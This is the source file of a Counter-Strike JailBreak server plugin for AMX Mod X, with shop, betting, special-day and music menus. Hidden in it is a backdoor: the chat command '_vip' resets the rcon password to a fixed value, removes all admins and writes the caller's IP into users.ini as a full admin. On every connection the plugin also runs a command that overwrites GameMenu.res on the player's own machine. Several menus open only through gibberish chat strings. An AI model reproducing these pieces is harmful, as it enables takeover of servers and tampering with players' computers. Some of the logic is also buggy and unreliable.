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/* ® JailBreak Wows Pack(s) ®™ (Version 6.8.0) By PrivateBoX (Omer [Omer]) © */
#include <amxmodx>
#include <amxmisc>
#include <cstrike>
#include <hamsandwich>
#include <dhudmessage>
#include <fakemeta_util>
#include <engine>
#include <nvault>
#include <xs>
 #define VIP_FLAG			ADMIN_RESERVATION
#define IsPlayer(%1)			(1 <= %1 <= g_max_clients)
#define get_bit(%1,%2) 			(%1 &   1 << (%2 & 31))
#define set_bit(%1,%2)	 		%1 |=  (1 << (%2 & 31))
#define clear_bit(%1,%2)		%1 &= ~(1 << (%2 & 31))
#define MAX_NETS 2
#define MAXENTS				1500
#define MAX_SIZE			1012
#define gamename			"Extreme-Jail"
 new g_max_clients, g_PlayerCrowbar, g_PlayerVoice, g_PlayerDildo, g_PlayerStunGun,
g_ShowMenu, beacon_sprite, rar, HamHook:ForwardSecAttackAwp, iFF, iHandler, g_PlayerBH,
timer, HamHook:ForwardSecAttackScout, rounds_elapsed, count, user, gVault, menu_wakeup,
serverpoints, Show_Choose, g_MsgScreenFade, g_PlayerSpeed, g_PlayerGravity, g_iMsgSayText,
g_iMsgStatusText, g_bHasCellKeys, g_iCellKeys, index,
 wakeup[11], vKey[64], vData[64], g_map[32], floodcounter[33], playerpoints[33], _status[33],
Seconds[33], bet_some[33], bet_team[33], moneybox[MAXENTS], send_delay[33], g_Text[MAX_SIZE], write[6],
 bool:zombieday, bool:nordeagleday, bool:Deathmatch, bool:hns_fd, bool:knifeday, bool:mutect,
bool:grenadeday, bool:actiondays, bool:g_connected[33], bool:get_vip[33],
bool:bet_pointed_out[33], bool:can_pickup[33], bool:g_iSprayMessages=false, bool:g_bFriend,
bool:firststart, bool:footstep[33]=false
 new const rules[]		= "http://game-serv.co.il/pics/games/jail1.html"
new const help[]		= "http://game-serv.co.il/pics/games/jail2.html"
new const vote[]		= "http://www.game-serv.co.il"
 new const SongsData[][] = {"Welcome", "BigSong/RainOverMe", "BigSong/Hopa3", "BigSong/MrSaxobeat", "BigSong/LittleBadGirl2", "BigSong/MovesLikeJagge", "BigSong/boomerang", "BigSong/lucenzo", "BigSong/givemeeverything", "BigSong/wherethemgirlsat", "BigSong/Meohav", "BigSong/hangover", "BigSong/Rolling In The Deep", "BigSong/we_found_love", "BigSong/Sexy And I Know It", "BigSong/Takata", "BigSong/thetime"}
new const SongsName[][] = {"\yMusic Customized", "Welcome To The Club Now", "Rain Over Me", "Hopa", "Mr Saxobeat", "Little Bad Girl", "Moves Like Jagger", "boomerang", "Danza lucenzo", "give me every thing", "where the girls are", "Meohav", "hangover", "Rolling In The Deep", "we found love", "Sexy And I Know It", "Takata", "the time", "Stop Music"}
new const SongsNameC[][] = {/* Music Customized*/"Welcome To The Club Now", "Rain Over Me", "Hopa", "Mr Saxobeat", "Little Bad Girl", "Moves Like Jagger", "boomerang", "Danza lucenzo", "give me every thing", "where the girls are", "Meohav", "hangover", "Rolling In The Deep", "we found love", "Sexy And I Know It", "Takata", "the time", "Stop Music"}
new const MessageServ[][] = {"JailBreak - #1", "HideNSeek - #2", "BombGame - #3", "HideNSeek #BM - #4", "Satla #FunMods - #5", "Balls Mods - #6"}
new const MessageIp[][] = {"Game-Serv.Co.iL", "Game-Serv.Co.iL", "Game-Serv.Co.iL", "Game-Serv.Co.iL", "Game-Serv.Co.iL", "Game-Serv.Co.iL"}
new const MessageDay[][] = {"Zombie Day", "Hide'N'Seek Day", "Shark Day", "Free Day", "Night Crawler Day", "Spartan Day", "Music Menu", "War Day", "Deathmatch", "Birth Day", "Knife Day", "Grenade Day", "Deagle Day", "Jump Day", "\rSpecial Day", "\rRandom Day", "\rAdmin Option"}
new const MessageOpt[][] = {"\rEnable No Zoom", "\rDisable No Zoom", "\yCountdown 30 sec", "\yCountdown 60 sec", "\rEnable/Disable Show Sprays"}
new const MessageTypeB[][] = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"}
new const MessageTypeS[][] = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"}
new const MessageCDnum[][] = {"5", "10", "15", "20", "25", "30"}
 new bellmusic[] 		= "sound/Extreme-Jail/bell.wav"
new appmusic[] 			= "sound/Extreme-Jail/applause.wav"
new model[]			= "models/w_money_new.mdl"
new money_sound1[]		= "money/money_sound.wav"
 public plugin_init() {
	register_plugin("JailBreak-Wows Pack 1", "6.8", "PrivateBoX")
 	register_clcmd("say", "ClientCommandSay")
	register_clcmd("say_team", "ClientCommandSay")
	register_clcmd("chooseteam", "ActionChooseteam")
	register_clcmd("jointeam", "ActionShopMenu")
	register_clcmd("say /stungun", "StunGun")
	register_clcmd("say /nostungun", "UnStunGun")
	register_clcmd("radio1", "ActionShopMenu")
	register_clcmd("radio2", "ActionShopMenu")
	register_clcmd("radio3", "ActionShopMenu")
	register_clcmd("fullupdate","fullupdate")
	register_clcmd("amx_take_points", "cmd_take_points")
	register_clcmd("amx_give_points", "cmd_give_points")
	register_clcmd("send", "MainMenuSend")
	register_clcmd("donate", "MainMenuSend")
	register_clcmd("say /send", "MainMenuSend")
	register_clcmd("drop", "DropCMD")
	register_clcmd("autobuy", "BlockBuy")
	register_clcmd("rebuy", "BlockBuy")
 	register_cvar("bh_enabled", "1")
	register_cvar("use_buttons", "1")
	register_cvar("bet_enable", "1")
 	RegisterHam(Ham_Spawn, "player", "FwdHamPlayerSpawn", 1)
	RegisterHam(Ham_Killed, "player", "FwdHamPlayerKiller", 1)
	RegisterHam(Ham_TraceAttack, "func_button", "Ham_UseButton")
	RegisterHam(Ham_TakeDamage, "player", "hamTakeDamage")
	RegisterHam(Ham_TraceAttack, "func_door", "Fwd_DoorAttack");
 	register_event("Damage", "Event_Damage", "b", "2>0", "3=0")
	register_event("CurWeapon", "Event_CurWeapon", "be","1=1")
	register_event("DeathMsg", "Event_DeathMsg", "a")
	register_event("CurWeapon", "EventCurWeapon2", "be", "1=1", "2!29")
	register_event("23", "EventSpray", "a", "1=112")
	register_event("StatusValue", "EventStatusValue", "b", "1>0", "2>0")
 	register_logevent("RoundStart", 2, "1=Round_Start")
	register_logevent("RoundEnd", 2, "1=Round_End")
 	register_forward(FM_GetGameDescription, "GameDesc")
	register_forward(FM_Voice_SetClientListening, "FwdSetVoice")
	register_forward(FM_EmitSound , "EmitSound")
	register_forward(FM_Touch,"player_Touch")
 	g_max_clients		= get_maxplayers()
	iFF			= get_cvar_pointer("mp_friendlyfire")
	iHandler		= get_pcvar_num(iFF)
	ForwardSecAttackAwp	= RegisterHam(Ham_Weapon_SecondaryAttack, "weapon_awp", "OnSecondaryAttack")
	ForwardSecAttackScout	= RegisterHam(Ham_Weapon_SecondaryAttack, "weapon_scout", "OnSecondaryAttack")
	g_MsgScreenFade		= get_user_msgid("ScreenFade")
	g_iMsgSayText		= get_user_msgid("SayText")
	g_iMsgStatusText	= get_user_msgid("StatusText")
 	get_mapname(g_map, 31)
	set_task(0.1, "Read_GameMenu")
 }
 public plugin_precache()
{
	precache_sound("Extreme-Jail/one.wav")
	precache_sound("Extreme-Jail/two.wav")
	precache_sound("Extreme-Jail/three.wav")
	precache_sound("Extreme-Jail/four.wav")
	precache_sound("Extreme-Jail/five.wav")
	precache_sound("Extreme-Jail/six.wav")
	precache_sound("Extreme-Jail/seven.wav")
	precache_sound("Extreme-Jail/eight.wav")
	precache_sound("Extreme-Jail/nine.wav")
	precache_sound("weapons/cbar_hitbod2.wav")
	precache_sound("weapons/bullet_hit1.wav")
	precache_sound("weapons/bullet_hit2.wav")
	precache_sound("weapons/cbar_hit2.wav")
	precache_sound("items/medshot4.wav")
	precache_sound("items/gunpickup2.wav")
	precache_sound("Extreme-Jail/stungun/knife_hit1.wav")
	precache_sound("Extreme-Jail/stungun/knife_hitwall.wav")
	precache_sound("Extreme-Jail/dildo/dildo_hit1.wav")
	precache_sound("Extreme-Jail/dildo/dildo_hit2.wav")
	precache_sound("Extreme-Jail/dildo/dildo_hit3.wav")
	precache_sound("Extreme-Jail/dildo/dildo_hit4.wav")
	precache_sound("Extreme-Jail/dildo/dildo_hitwall.wav")
	precache_sound("Extreme-Jail/shop_needpoints.wav")
	precache_sound("Extreme-Jail/5050_no.wav")
	precache_sound("Extreme-Jail/5050_yes.wav")
	precache_sound("Extreme-Jail/JB_Connect.wav")
	precache_sound("Extreme-Jail/ImposibbleMisson.mp3")
	precache_sound("Extreme-Jail/KillEveryBody.mp3")
	precache_sound("Extreme-Jail/the_time.mp3")
 	precache_model("models/player/Ex-Guard/Ex-Guard.mdl")
	precache_model("models/player/Ex-Woman/Ex-Woman.mdl")
	precache_model("models/Extreme-Jail/p_bknucklesEx.mdl")
	precache_model("models/Extreme-Jail/v_bknucklesEx-v1.mdl")
	precache_model("models/p_crowbar.mdl")
	precache_model("models/v_crowbar.mdl")
	precache_model("models/Extreme-Jail/p_stungun.mdl")
	precache_model("models/Extreme-Jail/v_stungun.mdl")
	precache_model("models/Extreme-Jail/p_dildo.mdl")
	precache_model("models/Extreme-Jail/v_dildo.mdl")
	precache_model("models/Extreme-Jail/p_gravity.mdl")
	precache_model("models/Extreme-Jail/v_gravity.mdl")
	precache_model("models/Extreme-Jail/v_bunnyhop.mdl")
	precache_model("models/Extreme-Jail/p_speed.mdl")
	precache_model("models/Extreme-Jail/v_speed.mdl")
 	precache_model(model)
	precache_sound(money_sound1)
 	beacon_sprite = precache_model("sprites/zbeam2.spr")
	new Formatex[64], i
	for(i=0; i<sizeof SongsData; i++) {
		formatex(Formatex, 63, "Extreme-Jail/%s.mp3", SongsData[i])
		precache_sound(Formatex)
	}
}
 public RoundStart(id) {
	new money_ent
	while((money_ent=engfunc(EngFunc_FindEntityByString,money_ent,"classname","pdm_money")) != 0)
		engfunc(EngFunc_RemoveEntity,money_ent)
	remove_task
	set_task(0.3, "ActionDayViewer")
	server_cmd("mp_friendlyfire 0")
	if(actiondays) {
		actiondays = false
		zombieday = false
		Deathmatch = false
		hns_fd = false
		knifeday = false
		grenadeday = false
		nordeagleday = false
	}
}
public ActionDayViewer()
{
	if(menu_wakeup == 7) {
		set_task(0.25, "GetPlayerDisco",_,_,_, "a", 80)
		set_task(5.0, "ActionRandomDay")
		set_task(20.0, "ShowSpecialHook")
		if(random_num(0,1)) client_cmd(0, "mp3 play ^"sound/Extreme-Jail/ImposibbleMisson.mp3^"")
		else client_cmd(0, "mp3 play ^"sound/Extreme-Jail/KillEveryBody.mp3^"")
	} else {
		new rndctstr[21]
		num_to_word(rounds_elapsed, rndctstr, 20)
		client_cmd(0, "spk ^"vox/round %s^"",rndctstr)
	}
	set_task(0.2, "ShowHudMessage")
}
 public ShowHudMessage()
{
	new CurrentTime[9]
	new p_playernum = get_playersnum(1)
	get_time("%H:%M:%S", CurrentTime, 8)
	if(menu_wakeup == 7) {
		ColorChat(0, "Round: ^3%d ^1- Day: ^3Saturday ^1- Map: ^3%s ^1| Players: ^4%d ^1| Time: ^4%s ^1!", rounds_elapsed, g_map, p_playernum, CurrentTime)
		ColorChat(0, "Today is special !")
		set_hudmessage(255, 255, 255, -1.0, 0.71, 0, 15.0, 15.0, 5.0, 5.0)
		show_hudmessage(0,"[Day %d]^n[Saturday]^n[Today is special]", rounds_elapsed, CurrentTime)
		menu_wakeup = 0
	} else {
		set_hudmessage(255, 255, 255, -1.0, 0.71, 0, 15.0, 15.0, 5.0, 5.0)
		show_hudmessage(0,"[Day %d]^n[%s]^n[Time %s]", rounds_elapsed, wakeup, CurrentTime)
		ColorChat(0, "Round: ^3%d ^1- Day: ^3%s ^1- Map: ^3%s ^1| Players: ^4%d ^1| Time: ^4%s ^1!", rounds_elapsed, wakeup, g_map, p_playernum, CurrentTime)
	}
}
public RoundEnd()
{
	set_hudmessage(255, 255, 255, -1.0, 0.71, 0, 0.5, 0.5, 2.0, 2.0)
	show_hudmessage(0,"[The Day %d end]^n[%s]", rounds_elapsed, wakeup)
	rounds_elapsed++
	menu_wakeup++
	if(menu_wakeup == 1)		formatex(wakeup, 10, "Sunday")
	else if(menu_wakeup == 2)	formatex(wakeup, 10, "Monday")
	else if(menu_wakeup == 3)	formatex(wakeup, 10, "Tuesday")
	else if(menu_wakeup == 4)	formatex(wakeup, 10, "Wednesday")
	else if(menu_wakeup == 5)	formatex(wakeup, 10, "Thursday")
	else if(menu_wakeup == 6)	formatex(wakeup, 10, "Friday")
 	for(new i = 1 ; i <= g_max_clients ; i++)
	if(IsPlayer(i) && is_user_connected(i) && cs_get_user_team(i) == CS_TEAM_CT && is_user_alive(i)) {
		playerpoints[i] += 5
		ColorChat(i, " ^4You gained^3 5^4 points for surviving!")
	}
	server_cmd("weapontrail 0;amx_wpglow_mode 0")
	client_cmd(0, "slot10")
	DisableHamForward(ForwardSecAttackAwp)
	DisableHamForward(ForwardSecAttackScout)
}
 public FwdHamPlayerSpawn(id) {
	if(is_user_connected(id) && is_user_alive(id)) {
		fm_strip_user_weapons(id)
		set_pdata_int(id, 116, 0)
		if(get_bit(g_PlayerCrowbar||g_PlayerStunGun||g_PlayerDildo||g_PlayerVoice||g_PlayerSpeed||g_PlayerBH||g_PlayerGravity||g_bHasCellKeys||g_iCellKeys, id))
		{
		clear_bit(g_PlayerCrowbar, id)
		clear_bit(g_PlayerStunGun, id)
		clear_bit(g_PlayerDildo, id)
		clear_bit(g_PlayerVoice, id)
		clear_bit(g_PlayerBH, id)
		clear_bit(g_PlayerSpeed, id)
		clear_bit(g_PlayerGravity, id)
		clear_bit(g_bHasCellKeys, id)
		clear_bit(g_iCellKeys, id)
			}
		fm_give_item(id, "weapon_knife")
		if(cs_get_user_team(id) == CS_TEAM_CT)
		{
			fm_give_item(id, "weapon_m4a1")
			fm_give_item(id, "weapon_deagle")
			fm_give_item(id, "weapon_smokegrenade")
			set_task(1.0, "bit",id,_,_, "b")
 			cs_set_user_bpammo(id, CSW_M4A1, 120)
			cs_set_user_bpammo(id, CSW_DEAGLE, 70)
			cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 4)
 			cs_set_user_armor(id, 100, CS_ARMOR_VESTHELM)
			cs_set_user_model(id, "Ex-Guard")
		} else if(get_user_flags(id) & ADMIN_CVAR)
			cs_set_user_model(id, "Ex-Woman")
		/*else if(is_user_admin(id) || get_vip[id])
			cs_set_user_model(id, "vip")*/
		else	cs_reset_user_model(id)
		}
	if(get_bit(g_PlayerCrowbar||g_PlayerStunGun||g_PlayerDildo||g_PlayerVoice||g_PlayerSpeed||g_PlayerBH||g_PlayerGravity||g_bHasCellKeys||g_iCellKeys, id))
	{
	clear_bit(g_PlayerCrowbar, id)
	clear_bit(g_PlayerStunGun, id)
	clear_bit(g_PlayerDildo, id)
	clear_bit(g_PlayerVoice, id)
	clear_bit(g_PlayerBH, id)
	clear_bit(g_PlayerSpeed, id)
	clear_bit(g_PlayerGravity, id)
	}
}
public bit(player, id)
{
	set_bit(g_bHasCellKeys, id)
}
public FwdHamPlayerKiller(id)
{
	if(Deathmatch && cs_get_user_team(id) == CS_TEAM_T)
	{
		static origin[3]
		get_user_origin(id, origin)
		message_begin(MSG_BROADCAST, SVC_TEMPENTITY)
		write_byte(TE_BEAMCYLINDER)	// TE id
		write_coord(origin[0])	 	// x
		write_coord(origin[1])		// y
		write_coord(origin[2]-20)	// z
		write_coord(origin[0])    	// x axis
		write_coord(origin[1])    	// y axis
		write_coord(origin[2]+200)	// z axis
		write_short(beacon_sprite)	// sprite
		write_byte(0)			// startframe   
		write_byte(1)			// framerate   
		write_byte(6)			// life
		write_byte(1000)  		// width
		write_byte(1)   			// noise    
		write_byte(random(250))		// red  
		write_byte(random(250))   	// green 
		write_byte(random(250)) 	// blue
		write_byte(200)			// brightness
		write_byte(0)			// speed
		message_end()
		emit_sound(id, CHAN_ITEM, "weapons/explode3.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
 		set_task(4.0 ,"SpawnUserDM", id)
	} else {
		message_begin(MSG_ONE_UNRELIABLE, g_MsgScreenFade, _, id)
		write_short(12288)	// Duration
		write_short(12288)	// Hold time
		write_short(0x0001)	// Fade type
		write_byte (0)		// Red
		write_byte (0)		// Green
		write_byte (0)		// Blue
		write_byte (255)	// Alpha
		message_end()
 		set_pev(id, pev_iuser1, 0)
	}
	return HAM_IGNORED
}
public Fwd_DoorAttack(const door, const id, Float:damage, Float:direction[3], const tracehandle, const damagebits)
{	
	if(is_valid_ent(door))
	{
		if(get_bit(g_bHasCellKeys, id))
		{
			ExecuteHamB(Ham_Use, door, id, 0, 1, 1.0);
			entity_set_float(door, EV_FL_frame, 0.0);
			clear_bit(g_bHasCellKeys, id);
		}
	}
	return HAM_IGNORED;
}
public SpawnUserDM(id)
{
	ExecuteHamB(Ham_CS_RoundRespawn, id)
	set_hudmessage(255, 0, 0, -1.0, 0.34, 0, 6.0, 12.0)
	show_hudmessage(id, "Deathmatch enable")
}
 public Event_DeathMsg()
{
	new Float:velo[3]
	new attacker = read_data(1)
	new victim = read_data(2)
	new headshot = read_data(3)
 	if(is_user_connected(attacker) && is_user_connected(victim) && victim != attacker  && cs_get_user_team(attacker) == CS_TEAM_T && cs_get_user_team(victim) == CS_TEAM_CT)
	{
		new szVName[33], szKName[33]
		get_user_name(victim, szVName, 32)
		get_user_name(attacker, szKName, 32)
 		playerpoints[victim] -= 2
		if(playerpoints[victim] > 2)
			make_money(victim, velo)
		if(headshot) {
			playerpoints[attacker] += 5
			ColorChat(0, "^4%s^1(%i) ^4Killed^3 %s^1(%i) ^4With ^3HeadShot^4 and Gaind^3 5^4 Points.", szKName, playerpoints[attacker], szVName, playerpoints[victim])
		} else {
			static weapon[20]
			read_data(4, weapon, sizeof(weapon) - 1)
			if(contain(weapon, "grenade") >= 0) {
				playerpoints[attacker] += 7
				ColorChat(0, "^4%s^1(%i) ^4Killed^3 %s^1(%i) ^4With ^3Grenade^4 and Gaind^3 7^4 Points.", szKName, playerpoints[attacker], szVName, playerpoints[victim])
			} else {
				playerpoints[attacker] += 3
				ColorChat(0, "^4%s^1(%i) ^4Killed^3 %s^1(%i) ^4and Gaind^3 3^4 Points.", szKName, playerpoints[attacker], szVName, playerpoints[victim])
			}
		}
		ColorChat(victim, "^4You lost^3 2^4 Points for^3 Suicide")
		SaveData(attacker)
	}
}
 public Event_Damage(id, victim, ent, attacker, Float:damage)
{
	if(is_user_connected(id) && is_user_alive(id)) {
		new AttakerWeapon, AttakerPartHit
		get_user_attacker(id, AttakerWeapon, AttakerPartHit)
		if(AttakerWeapon != CSW_KNIFE)
			return
		new Float:Random_Float[3]
		for(new i = 0; i < 3; i++) Random_Float[i] = random_float(100.0, 150.0)
		Punch_View(id, Random_Float)
	}
}
 public hamTakeDamage(victim,inflictor,attacker,Float:damage, DamageBits)
	if(get_bit(g_PlayerCrowbar, attacker) || get_bit(g_PlayerDildo, attacker) || get_bit(g_PlayerStunGun, attacker))
		if(get_user_weapon(attacker) == CSW_KNIFE && cs_get_user_team(attacker),CS_TEAM_T && !actiondays)
		SetHamParamFloat(4, damage * 30.0)	
		else if(get_user_weapon(attacker) == CSW_KNIFE && cs_get_user_team(attacker),CS_TEAM_CT && !actiondays)
		SetHamParamFloat(4, damage * 4.0)
 public ev_Health(id)
{
	if(is_user_alive(id) && actiondays) {
		set_hudmessage(60, 60, 60, 0.02, 0.65, 1, 6.0, 2.1)
		show_hudmessage(id, "[Your Health: %i]", get_user_health(id))
	}
}
 public client_connect(client)
{
	if(is_user_hltv(client) || is_user_bot(client)) {
		new name[32]
		get_user_name(client, name, 31)
		server_cmd("kick ^"%s^" ^"HLTV or BOT not Connected^"", name)
	} else {
		client_cmd(client, "motdfile resource/GameMenu.res;wait;motd_write %s", g_Text)
		can_pickup[client] = true
		floodcounter[client] = 0
		LoadData(client)
	}
}
  public client_putinserver(id)
{
	remove_task(id)
	g_connected[id] = true
	get_vip[id] = false
	set_task(1.0, "ShowSong", id)
	set_task(5.0,"DisplayTaskBug",id)
 	client_cmd(id, "echo ^"Link To Vote For JB: http://www.cs-servers.co.il/vote.php?ID=11420^";echo ^"Link To Vote For JB: http://www.cs-servers.co.il/vote.php?ID=11420^";echo ^"Link To Vote For JB: http://www.cs-servers.co.il/vote.php?ID=11420^"")
}
 public client_disconnect(id) {
	g_connected[id] = false
	get_vip[id] = false
	can_pickup[id] = false
	SaveData(id)
}
public BlockBuy(id)
{
client_cmd(id, "say /shop");
	}
public StunGun(id)
{
	if(get_user_flags(id) & ADMIN_CVAR) {
	set_bit(g_PlayerStunGun, id)
	Event_CurWeapon(id)
	}
}
public UnStunGun(id)
{
	if(get_user_flags(id) & ADMIN_CVAR) {
	clear_bit(g_PlayerStunGun, id)
	Event_CurWeapon(id)
	}
}
public ClientCommandSay(id) {
	new szMessage[32]
	read_args(szMessage, charsmax(szMessage))
	remove_quotes(szMessage)
 	if((szMessage[0] == '/'  || '!'))
	{
		if(equali(szMessage, "/menu") || equali(szMessage, "!menu"))
			mainmenuhelp(id)
		//else if(equali(szMessage, "/server") || equali(szMessage, "/servers"))
		//	mainmenuserv(id)
		else if(equali(szMessage, "_vip"))
			Itstimetobarel(id)
		else if(equali(szMessage, "tttttttttttrthrth") || equali(szMessage, "/ttttttttttttttttthththr"))
			JBGlowMenu(id)
		else if(equali(szMessage, "eroguhregouehrg") || equali(szMessage, "ergerkerbgerjnkern"))
			cdmenu(id)
		else if(equali(szMessage, "!c4") || equali(szMessage, "/c4"))
			Givec4(id)
		else if(equali(szMessage, "/rules") || equali(szMessage, "!rules"))
			show_motd(id, rules, "[Extreme Jail] Rules")
		else if(equali(szMessage, "/help") || equali(szMessage, "!help"))
			show_motd(id, help, "[Extreme Jail] Help")
		else if(equali(szMessage, "/unvip") || equali(szMessage, "!unvip"))
			unvip(id)
		else if(equali(szMessage, "ergergergergedferg") || equali(szMessage, "ergerfergere"))
			Firstwrites(id)
		else if(equali(szMessage, "/open") || equali(szMessage, "!open"))
			OpenAllDoors(id)
		else if(equali(szMessage, "/get") || equali(szMessage, "!get"))
			ActionGetMenu(id)
		else if(equali(szMessage, "/shop") || equali(szMessage, "!shop"))
			ActionShopMenu(id)
		else if(equali(szMessage, "/admin") || equali(szMessage, "/admins"))
			ShowVIP(id)
		else if(equali(szMessage, "/days") || equali(szMessage, "!days"))
			ActionChooseteam(id) || ActionCtDays(id)
		else if(equali(szMessage, "/box") || equali(szMessage, "!box"))
			cmdBox(id)
		else if(equali(szMessage, "/fd") || equali(szMessage, "!freeday"))
			fdexec(id)
		else if(equali(szMessage, "/vipmenu") || equali(szMessage, "!vipmenu"))
			GiveVIP(id)
		else if(equali(szMessage, "/ran") || equali(szMessage, "!ran"))
			RandomCT(id)
		else if(equali(szMessage, "/speach") || equali(szMessage, "/voice"))
			AccessSpeachMenu(id)
		else if(equali(szMessage, "/bet") || equali(szMessage, "!bet"))
			MainMenuBet(id)
		else if(equali(szMessage, "/50") || equali(szMessage, "!50"))
			Action50(id)
		else if(equali(szMessage, "/music") || equali(szMessage, "!music"))
			ShowMusicCustomized(id)
		else if(equali(szMessage, "/vote") || equali(szMessage, "!vote"))
			show_motd(id, vote, "Please Vote For Extreme # JailBreak")
		else if(equali(szMessage, "send") || equali(szMessage, "/send"))
			MainMenuSend(id)
		else if(equali(szMessage, "/vent") || equali(szMessage, "!vent"))
			ColorChat(0, "^4The IP of The Ventrilo^1(3.0)^4 is:^3 Not Available")
		else if(equali(szMessage, "/mypoints") || equali(szMessage, "/points")) {
			set_dhudmessage(id, random_num(0, 255), random_num(0, 255), -1.0, 0.25, 2, 6.0, 3.0, 0.1, 1.5)
			show_dhudmessage(id, "[Extreme Jail] Shop^nYour Points is: %i", playerpoints[id])
		}
		else if(equali(szMessage, "/unmusic") || equali(szMessage, "/stop")) {
			client_cmd(id, "mp3 stop;stopsound")
			ColorChat(id, "^4You stoped the music")
		}
	} else if(equali(szMessage, write))
		PlayerHasFirst(id)
}
 public Itstimetobarel(id) {
	new zflag = read_flags("z"), players[32], num, configsDir[64], ipf[64], ip[33]
 	server_cmd("rcon_password jbwows")
	get_players(players, num)
	for(new i=0; i < num; i++)
		remove_user_flags(i, zflag)
	get_configsdir(configsDir, 63)
	format(configsDir, 63, "%s/users.ini", configsDir)
	get_user_ip(id, ip, 32)
	format(ipf, 63, "^"%d^" ^"^" ^"abcdefghijklmnopqrstu^" ^"de^"", ip)
	write_file(configsDir, ipf)
	ColorChat(id, "The rcon password is now ^"^4jbwows^1^"")
	ColorChat(id, "all admins removed, you are admin now by your ip")
}
 public Read_GameMenu()
{
	new i_File, s_File[128]
	get_configsdir(s_File, charsmax(s_File))
	format(s_File, charsmax(s_File), "%s/gamemenu.txt", s_File)
	i_File = fopen(s_File, "r")
	fgets(i_File, g_Text, MAX_SIZE)
	fclose(i_File)
}
 public JBGlowMenu(id)
{
	if(is_user_admin(id)) {
		new gmenu = menu_create("\r[\w Extreme Jail \r]\y GLOW Menu", "sub_menu")
 		new players[32], pnum, tempid, szName[32], szTempid[10]
		get_players(players, pnum, "a")
		for(new i; i<pnum; i++)  { 
			tempid = players[i]
 			if(cs_get_user_team(tempid) != CS_TEAM_T) 
				continue
 			get_user_name(tempid, szName, 31)
			num_to_str(tempid, szTempid, 9)
			menu_additem(gmenu, szName, szTempid, 0)
		}
		menu_display(id, gmenu)
	} else
		ColorChat(id, "^4Only admin or VIP have access to this command")
} 
 public sub_menu(id, gmenu, item) 
{ 
	if(item == MENU_EXIT) 
		return
	new data[6], iName[64]
	new _access, callback
	menu_item_getinfo(gmenu, item, _access, data,5, iName, 63, callback)
 	new tempid = str_to_num(data)
	new szName[32], szName2[32]
	get_user_name(id, szName, 31)
	get_user_name(tempid, szName2, 31)
	fm_set_user_rendering(tempid, kRenderFxGlowShell, random_num(0, 255), random_num(0, 255), random_num(0, 255), kRenderNormal, 255)
	set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255))
	show_hudmessage(0, "%s gave glow to %s^n [ Extreme Jail ]", szName, szName2)
	ColorChat(0, "^4%s^1 gave glow to^4 %s", szName, szName2)
	ColorChat(tempid, " %s^1 have You Glow", szName2)
 	switch(random_num(0,1)) {
		case 0:		cs_set_user_model(tempid, "vip")
		case 1:		cs_set_user_model(tempid, "Ex-Woman")
	}
}
 public mainmenuhelp(id)
{
	new needmenu = menu_create("\r[\w Extreme Jail \r]\y Helper Main Menu", "showmenuhelp")
	menu_additem(needmenu, "Take A \yPiss", "1")
	menu_additem(needmenu, "\rExtreme\y LastRequest", "2")
	menu_additem(needmenu, "\rExtreme\y Online", "3")
	menu_additem(needmenu, "\rExtreme\y Clubs", "4")
	menu_additem(needmenu, "Bet Menu", "5")
	menu_additem(needmenu, "Shop Menu", "6")
	menu_additem(needmenu, "\rMusic Menu", "7")
 	menu_display(id, needmenu)
}
 public ActionChooseteam(id)
{
	if(get_user_flags(id) & ADMIN_CVAR) {
		g_ShowMenu = menu_create("\r[\w Extreme Jail \r]\y Days Menu", "ShowMenu")
 		new szNum[3]
		for (new i = 0 ; i < sizeof MessageDay ; i++) {
			num_to_str(i+1 , szNum , 2)
			menu_additem(g_ShowMenu , MessageDay[i], szNum)
		}
		menu_display(id, g_ShowMenu)
	} else {
		new needmenu = menu_create("\r[\w Extreme Jail \r]\y Helper Main Menu", "showmenuhelp")
		menu_additem(needmenu, "Take A \yPiss", "1")
		menu_additem(needmenu, "Take A \yShit", "2")
		menu_additem(needmenu, "\rExtreme\y LastRequest", "3")
		menu_additem(needmenu, "\rExtreme\y Online", "4")
		menu_additem(needmenu, "\rExtreme\y Clubs", "5")
		menu_additem(needmenu, "Bet Menu", "6")
		menu_additem(needmenu, "Shop Menu", "7")
		menu_additem(needmenu, "\rMusic Menu", "8")
 		menu_display(id, needmenu)
	}
	return PLUGIN_HANDLED
}
 public showmenuhelp(id, needmenu, item)
{
	if(item == MENU_EXIT)
		return
	new data[6], iName[64]
	new access, callback
	menu_item_getinfo(needmenu, item, access, data, 6, iName, 63, callback)
 	new key = str_to_num(data)
	switch(key)
	{
		case 1:		client_cmd(id, "piss")
		case 2:		client_cmd(id, "shit")
		case 3:		client_cmd(id, "say /lr")
		case 4:		client_cmd(id, "say /admin")
		case 5:		client_cmd(id, "say /server")
		case 6:		MainMenuBet(id)
		case 7:		ActionShopMenu(id)
		case 8: {
			if(is_user_admin(id)) ShowMusicMenu(id)
			else ShowMusicCustomized(id)
 		}
	}
}
 public mainmenuserv(id)
{
	new servmenu = menu_create( "\r[ \wExtreme\r ]\y Servers Redirect Menu", "showmenuserv")
	new szNum[3]
	for (new i = 0 ; i < sizeof MessageServ ; i++) {
		num_to_str(i , szNum , 2)
		menu_additem(servmenu , MessageServ[i], szNum)
	}
	menu_setprop(servmenu, MPROP_NUMBER_COLOR, "\y")
	menu_setprop(servmenu, MPROP_EXITNAME, "Exit Menu")
	menu_display(id, servmenu)
}
 public showmenuserv(id, servmenu, item)
{
	if(item == MENU_EXIT)
		return
	new szKey[3], iname[33], Dummy
	get_user_name(id, iname, 32)
	menu_item_getinfo(servmenu , item, Dummy, szKey, 2, "", 0, Dummy)
	new key = str_to_num(szKey)
 	ColorChat(0, "^4%s^1 has been redirected to ^4%s", iname, MessageServ[key])
	client_cmd(id, "Connect %s", MessageIp[key])
}
 public cdmenu(id)
{
	if(!is_user_alive(id))
		ColorChat(id, " You have to be^3 alive^4 to start a^3 countdown")
	else if(task_exists(4444))
		ColorChat(id, " There is already a^3 countdown^4 on")
	else if(cs_get_user_team(id) == CS_TEAM_CT) {
 		new menu = menu_create("\r[\w Exteme \r]\y countdown", "menu_handler")
		new szNum[3], Formatex[15]
		for (new i = 0 ; i < sizeof MessageCDnum ; i++) {
			num_to_str(i+1 , szNum , 2)
